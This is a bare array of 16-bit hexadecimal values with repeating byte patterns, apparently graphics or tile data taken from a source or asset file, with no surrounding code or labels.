0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,
0xD3D3,0xCFD3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,
0x5757,0x5757,0x5757,0xD0D0,0xFCFC,0xFCFC,0xFCFC,0xFCFC,
0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,
0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,
0xCFD3,0xD3CF,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,
0x5792,0x5757,0x5757,0x5757,0xFCFC,0x5757,0xFC57,0xFCFC,
0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xA6A6,
0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xD3CF,
0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,
0x23FC,0x24D0,0x0C0C,0x57D1,0xFCFC,0x5757,0x5757,0x5757,
0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xA6A6,0xFCFC,0xFCFC,0xFCFC,
0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xCFA6,0xA6A6,0xA6A6,0xA6A6,
0xD3D3,0xCFD3,0xCFCF,0xCFD3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,
0x5757,0x5757,0x5757,0x5757,0x5757,0x5757,0x5757,0x5757,
0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,
0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,
0xCFCF,0xCFCF,0xCFCF,0xCFCF,0xD3D3,0xD3D3,0xD3D3,0xD3D3,
0x5757,0x0557,0x7324,0x5723,0x5757,0x5757,0x5757,0x5757,
0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,
0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,
0xCFCF,0xA6A6,0xCFA6,0xD3D3,0xD3D3,0xD3D3,0x8484,0x1B1B,
0xFC57,0x4EA6,0xA394,0xE108,0xFC57,0x4EA6,0x1B84,0x4747,
0xFCFC,0xA6FC,0x4EA6,0x1B84,0xFCFC,0xA6FC,0xA6A6,0x4E4E,
0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xFCA6,
0xA6A6,0xCFA6,0xA6CF,0x84D3,0x9494,0x9494,0x9494,0xA347,
0x0EE1,0xFC4E,0x5757,0xFC7B,0x4E94,0xFCA6,0x5757,0x94A6,
0x4E84,0xFCA6,0xD3FC,0x1147,0xA64E,0xFCFC,0x47D3,0xA946,
0xFCA6,0x4E57,0x4647,0x6EA9,0xA6FC,0xA384,0x6E46,0x6E6E,
0xA394,0xCE11,0x6E6E,0x6E6E,0x4611,0xCEEA,0x6E6E,0x6E6E,
0x4763,0x1411,0x6E6E,0x086E,0xCE11,0xA96E,0x6E6E,0x6E6E,
0xA96E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0xB4E1,0x6E08,0x46CE,0x1BA3,0x6E6E,0x6E6E,0xA9A9,0x116E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x57A6,0x5757,0x5757,0x5757,0x4E47,0x5757,0x5757,0x5757,
0x4746,0x574E,0xFCFC,0xFCFC,0x46A9,0xA694,0xFCFC,0xFCFC,
0x6E6E,0x1B11,0xFCA6,0xFCFC,0xA96E,0x47CE,0xA6D3,0x4E4E,
0x6E6E,0x116E,0x1B1B,0x941B,0x6E6E,0x116E,0x1147,0xCEEA,
0x5757,0xD005,0xD0D0,0x5705,0x5757,0x5757,0x5757,0x5757,
0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,
0xFCFC,0xA6FC,0xA6A6,0xA6A6,0xA64E,0xA6A6,0xA6A6,0xA6A6,
0x1B94,0xD384,0xA6A6,0xA6A6,0x46CE,0x9411,0xA6D3,0x4EA6,
0xCA57,0x6F0C,0x57D0,0x5757,0x5757,0x5757,0x5757,0x5757,
0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,
0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xFCA6,
0xA6A6,0xA6A6,0xA6A6,0xFCA6,0xA64E,0x84D3,0x4E84,0xA6A6,
0x5757,0x7B57,0x47FC,0x1111,0x5757,0xFC7B,0x11A3,0xCE46,
0x57FC,0xA3FC,0xCE46,0x6E6E,0x57FC,0x4647,0x6ECE,0x6E6E,
0x1B57,0x6E46,0x6E6E,0x6E6E,0x11A6,0x6E6E,0x6E6E,0x6E6E,
0x6E94,0x6E6E,0x6E6E,0x6E6E,0xA911,0x6E6E,0x6E6E,0x6E6E,
0x1446,0xCECE,0x08CE,0xB4E1,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0xCEB4,0x4614,0x1111,0xA647,0x6E6E,0xCE6E,0x4614,0x4711,
0x6E6E,0x6E6E,0xCE6E,0x1146,0x6E6E,0x6E6E,0x6E6E,0x46CE,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6F7B,0x0C0C,0x576F,0xFCFC,0x7BFC,0xD057,0xFC4E,0xA6A6,
0x5794,0xFCFC,0xA6A6,0xCFA6,0xD311,0xA6FC,0xD3CF,0xD3D3,
0x4746,0xCFA6,0xD3D3,0x8484,0x11CE,0xD3D3,0xD3D3,0xD3D3,
0x466E,0xCF1B,0x1BD3,0x9494,0x6E6E,0xD394,0x1147,0x1111,
0xA6FC,0xA6A6,0xCFCF,0xCFCF,0xCFA6,0xCFCF,0xCFCF,0xCFCF,
0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,
0x84D3,0x8484,0x8484,0x8484,0xD3D3,0x8484,0x8484,0x8484,
0x1B94,0x8484,0x8484,0x8484,0x1111,0x8447,0x1B84,0x1B1B,
0xCFCF,0xCFCF,0xA6A6,0xFCFC,0xCFCF,0xCFCF,0xCFCF,0xA6CF,
0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,
0x8484,0x8484,0x8484,0x8484,0x8484,0x8484,0x8484,0x8484,
0x8484,0x8484,0x8484,0x8484,0x1B1B,0x1B1B,0x1B1B,0x1B1B,
0xFCFC,0x5757,0x5757,0x5757,0xFCA6,0xFCFC,0x5757,0x5757,
0xCFCF,0xA6A6,0xFCFC,0xFCFC,0xD3D3,0xA6CF,0xA6A6,0xFCFC,
0x8484,0xD3D3,0xA6D3,0xFCA6,0x8484,0xD384,0xD3D3,0xA6A6,
0x8484,0x8484,0xD384,0xD3D3,0x1B1B,0x1B1B,0x8484,0xD3D3,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0xCBCB,0x6ECB,0x6E6E,
0x6E6E,0x46EA,0xCE46,0xA96E,0x6E6E,0x6ECE,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0xA9A9,0x6EA9,0x956E,0xA311,0x6E6E,0x6E6E,0xA96E,0x6EA9,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x8494,0xD3D3,0xD3D3,0xD3D3,0x46CE,0xA311,0x9447,0x1B94,
0xCE6E,0x46EA,0x1111,0xA311,0xCE6E,0x46EA,0x1111,0xA311,
0xCE6E,0xEACE,0x46EA,0x1146,0xCE6E,0xCECE,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0xD3D3,0xD3D3,0xD3D3,0xD3D3,0x8484,0x8484,0x8484,0x8484,
0x9447,0x1B1B,0x8484,0x8484,0x4747,0x9494,0x1B94,0x1B1B,
0x1111,0xA311,0x9447,0x9494,0xA9A9,0x6E6E,0x11CE,0x47A3,
0x6E6E,0x6E6E,0xA9A9,0x116E,0x6E6E,0x6E6E,0x6E6E,0x6EA9,
0xD3D3,0xD3D3,0xD3D3,0xD3D3,0x8484,0x8484,0x8484,0x8484,
0x8484,0x8484,0x8484,0x8484,0x1B84,0x1B1B,0x1B1B,0x1B1B,
0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x9447,0x1B1B,0x1B1B,0x1B1B,
0x47A3,0x9494,0x9494,0x9494,0xA311,0x9447,0x9494,0x9494,
0xD3D3,0xD3D3,0xD3D3,0xD3D3,0x8484,0x8484,0x8484,0x8484,
0x8484,0x8484,0x8484,0x8484,0x1B1B,0x1B1B,0x1B1B,0x1B1B,
0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,
0x9494,0x9494,0x9494,0x9494,0x9494,0x9494,0x9494,0x9494,
0xD3D3,0xD3D3,0xD3D3,0xD3D3,0x8484,0x8484,0x8484,0x8484,
0x8484,0x8484,0x8484,0x8484,0x1B1B,0x1B1B,0x1B1B,0x841B,
0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,
0x9494,0x9494,0x9494,0x9494,0x9494,0x9494,0x9494,0x9494,
0xD3D3,0xD3D3,0xD3D3,0xD3D3,0x8484,0x8484,0x8484,0x8484,
0x8484,0x8484,0x8484,0x8484,0x1B84,0x1B1B,0x1B1B,0x841B,
0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,
0x9494,0x9494,0x9494,0x9494,0x9494,0x9494,0x9494,0x9494,
0xD384,0xD384,0xD3D3,0xD3D3,0x8484,0x8484,0x8484,0x8484,
0x841B,0x1B84,0x8484,0x8484,0x1B1B,0x1B1B,0x841B,0x1B1B,
0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x941B,0x1B1B,0x1B94,0x1B1B,
0x9494,0x9494,0x9494,0x9494,0x4794,0x9447,0x4747,0x9494,
0xD3D3,0xD3D3,0xD3D3,0xD3D3,0x8484,0x8484,0x8484,0xD384,
0x8484,0x8484,0x8484,0x8484,0x1B1B,0x1B1B,0x841B,0x9484,
0x1B1B,0x1B1B,0x841B,0x1194,0x1B1B,0x1B1B,0x471B,0x6E11,
0x9494,0x4794,0x4611,0x6ECE,0x4747,0x11A3,0xEA11,0x6ECE,
0xD3D3,0x8484,0x9484,0xA347,0x8484,0x9484,0xCE11,0x6E6E,
0x471B,0x6E46,0xA9A9,0x6E6E,0x6E11,0x6EA9,0x6E6E,0x6E6E,
0xA96E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x11A3,0x1111,0x4611,0x4646,0xCECE,0x4646,0x6ECE,0x6EA9,
0xA96E,0xCE6E,0x6ECE,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x4646,0x6ECE,0x6E6E,0x6E6E,0x6E6E,0x6ECE,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x466E,0xA9CE,0xA9A9,0x6E6E,0x6E6E,0x6EA9,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0xA9A9,0xCE6E,0x4711,0x9494,0x6E6E,0x6E6E,0xCE6E,0xA311,
0x6E6E,0x6E6E,0x6E6E,0x1146,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x941B,0x11A3,0xA311,0x84D3,0x11A3,0xCECE,0xCECE,0x47A3,
0x6ECE,0x6E6E,0x6E6E,0x4646,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x9494,0xCEEA,0xCECE,0xCE6E,0x46A3,0x6E6E,0x6E6E,
0xCE6E,0x6E46,0x6E6E,0x6E6E,0xCE6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x4646,0x4711,0x1B1B,0x1B1B,0xCECE,0x1146,0x1B94,0x1B1B,
0x6E6E,0x46CE,0x1BA3,0x1B1B,0x6E6E,0xCE6E,0x1B11,0xA31B,
0x6E6E,0x6E6E,0x4711,0x6E11,0x6E6E,0x6E6E,0xEA46,0x6E6E,
0x6E6E,0x6E6E,0x6ECE,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x1B1B,
0x4794,0x11A3,0x1111,0x47A3,0xCE46,0xCECE,0xCECE,0xEACE,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x1B1B,0x1B1B,0x841B,0x8484,0x1B1B,0x1B1B,0x1B1B,0x8484,
0x1B1B,0x1B1B,0x1B1B,0x1B1B,0x4711,0x941B,0x9494,0x1B1B,
0x46CE,0x9447,0x9494,0x1B94,0x6E6E,0x47CE,0x4794,0x9494,
0x6E6E,0xCEA9,0x4747,0x9447,0x6E6E,0xA96E,0x9411,0x4794,
0xCB6E,0xCBCB,0x6ECB,0x6E6E,0xCB6E,0xCBCB,0x6ECB,0x6E6E,
0x6E6E,0xCBCB,0x6ECB,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6ECE,0x6E6E,0x6E6E,0x6E6E,0xEAEA,0xEAEA,0xEAEA,0xCECE,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0xCB6E,
0x6E6E,0x6E6E,0x6E6E,0xCB6E,0x6E6E,0x6E6E,0x6E6E,0xA96E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0xCECE,0xCECE,0xCECE,0xCEEA,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0xCBCB,0x6ECB,0x6E6E,0x6E6E,
0xCBCB,0x6ECB,0x6E6E,0x6E6E,0xCBCB,0x6EA9,0x6E6E,0x6E6E,
0xCBCB,0x6ECB,0x6E6E,0xCECE,0xCECE,0xEACE,0xEAEA,0xEAEA,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0xCECE,0xCECE,0xCECE,0xCECE,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0xCECE,
0xCECE,0xEACE,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xF7F7,0xF7F7,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0xCECE,0xCECE,0xCECE,0xEACE,
0xEAEA,0xEAEA,0xEAEA,0xF7F7,0xF7F7,0xF7F7,0xF7F7,0xF7F7,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0xCE6E,
0xCE6E,0xCECE,0xCECE,0xEAEA,0xEAEA,0xEAEA,0xF7EA,0xF7F7,
0xF7F7,0xF7F7,0xF7F7,0x7C7C,0xF7F7,0xF7F7,0xF7F7,0xF7F7,
0x116E,0x47A3,0x4747,0x4747,0xEA6E,0x47A3,0x4747,0x4747,
0xEACE,0xA311,0xA3A3,0xA3A3,0x11EA,0xA311,0xA3A3,0xA3A3,
0x7CF7,0x7C7C,0x117C,0x7C11,0x7C7C,0x7C7C,0x7C7C,0x7C7C,
0x7C7C,0x7C7C,0x7C7C,0x7C7C,0xF7F7,0xF7F7,0xF7F7,0xF7F7,
0x4747,0x4747,0x4747,0x4747,0x4747,0x4747,0x4747,0x4747,
0xA3A3,0xA3A3,0xA3A3,0xA3A3,0xA3A3,0xA3A3,0xA3A3,0xA3A3,
0x7C7C,0x7C7C,0x7C7C,0x7C7C,0x7C7C,0x7C7C,0x7C7C,0x7C7C,
0x7C7C,0x7C7C,0x7C7C,0x7C7C,0xF7F7,0xF7F7,0xF7F7,0xF7F7,
0x4747,0x4747,0x4747,0x4747,0x4747,0x4747,0x4747,0x4747,
0xA3A3,0xA3A3,0xA3A3,0xA3A3,0xA3A3,0xA3A3,0xA3A3,0xA3A3,
0x7C7C,0x7C7C,0x117C,0x7C7C,0x7C7C,0x7C7C,0x7C7C,0x7C7C,
0x7C7C,0x7C7C,0x7C7C,0x7C7C,0xF7F7,0xF7F7,0xF7F7,0xF7F7,
0x4747,0x4747,0x4747,0x4747,0x4747,0x4747,0x4747,0x4747,
0xA3A3,0xA3A3,0xA3A3,0xA3A3,0xA3A3,0xA3A3,0xA3A3,0xA3A3,
0x7C7C,0x1111,0x1111,0x1111,0x7C7C,0x7C7C,0x7C7C,0x7C7C,
0x7C7C,0x7C7C,0xF7F7,0x7C7C,0xF7F7,0xF7F7,0xF7F7,0xF7F7,
0x4747,0x4747,0x4747,0x4747,0x4747,0x47A3,0x4747,0xA3A3,
0xA3A3,0xA3A3,0xA3A3,0x11A3,0xA3A3,0x7CA3,0xA3A3,0xEA11,
0x1111,0x7C11,0x1111,0xEA7C,0x7C7C,0x7C7C,0x7C7C,0xF77C,
0x7C7C,0x7C7C,0x7C7C,0xF77C,0xF7F7,0xF7F7,0xF7F7,0xF7F7,
0xA3A3,0x4611,0xCEEA,0x6ECE,0xCE11,0x6E6E,0x6E6E,0x6E6E,
0xA96E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6ECE,0x6E6E,0x6E6E,0x6E6E,
0xEAF7,0xCECE,0xCECE,0xCECE,0xF7F7,0xEAF7,0xEAEA,0xEAEA,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0xEAEA,0xEAEA,0xEAEA,0xCECE,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x866E,
0x6E6E,0x6E6E,0x6E6E,0xCB6E,0x6E6E,0x6E6E,0x6E6E,0xCB6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0xCECE,0xCECE,0xCECE,0xCECE,
0xCBCB,0x6E6E,0x6E6E,0x6E6E,0x8686,0x6ECB,0x6E6E,0x6E6E,
0x8686,0x6E6E,0x6E6E,0x6E6E,0x6E86,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0xCECE,0xCECE,0x6ECE,0x6E6E,
0x6E6E,0x6E6E,0xA311,0x6EEA,0x6E6E,0xCE6E,0x6ECE,0x6EA9,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0xCE6E,0xCECE,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0xEAEA,0xEAEA,0xEAEA,0xF7F7,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0xF7F7,0xF7F7,0xF7F7,0xF7F7,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0xF7F7,0xF7F7,0xF7F7,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xF7EA,0xF7F7,0xF7F7,0xF7F7,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xF7F7,0xF7F7,0xF7F7,0xF7F7,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xF7F7,0xF7F7,0xF7F7,0xF7F7,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xCECE,
0xCE1F,0xCECE,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0xEAEA,0xEAEA,0xCEEA,0xEACE,0xF7F7,0xEAF7,0xEAEA,0xF7F7,
0xEAEA,0xCEEA,0xEAEA,0xEAEA,0xCECE,0xCECE,0xE9E9,0xEAEA,
0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0xEAEA,0xEAEA,0xCECE,0xCECE,0xF7F7,0xF7F7,0xF7F7,0xF7F7,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xCEEA,0xCECE,0xCECE,
0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F86,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0xCECE,0xCECE,0xCECE,0xCECE,0xF7F7,0xF7F7,0xF7F7,0x1FEA,
0xEAEA,0xEAEA,0xEAEA,0x1F1F,0xCECE,0xEACE,0xEAEA,0x1FCE,
0x1F1F,0x1F1F,0x1F1F,0x1FCE,0x1F1F,0x8686,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0xCECE,0xCECE,0xCECE,0xCECE,0x1F1F,0xEA1F,0xEAEA,0xEAEA,
0x1F1F,0x1F1F,0xEAEA,0xEAEA,0x8686,0x1F86,0xEAEA,0xEAEA,
0x861F,0xCE1F,0x1F1F,0xCE1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0xCECE,0xCECE,0xCECE,0xCECE,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xE9EA,0xCEE9,0xCECE,0xCECE,
0x1FCE,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0xCECE,0xCECE,0xCECE,0xCECE,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
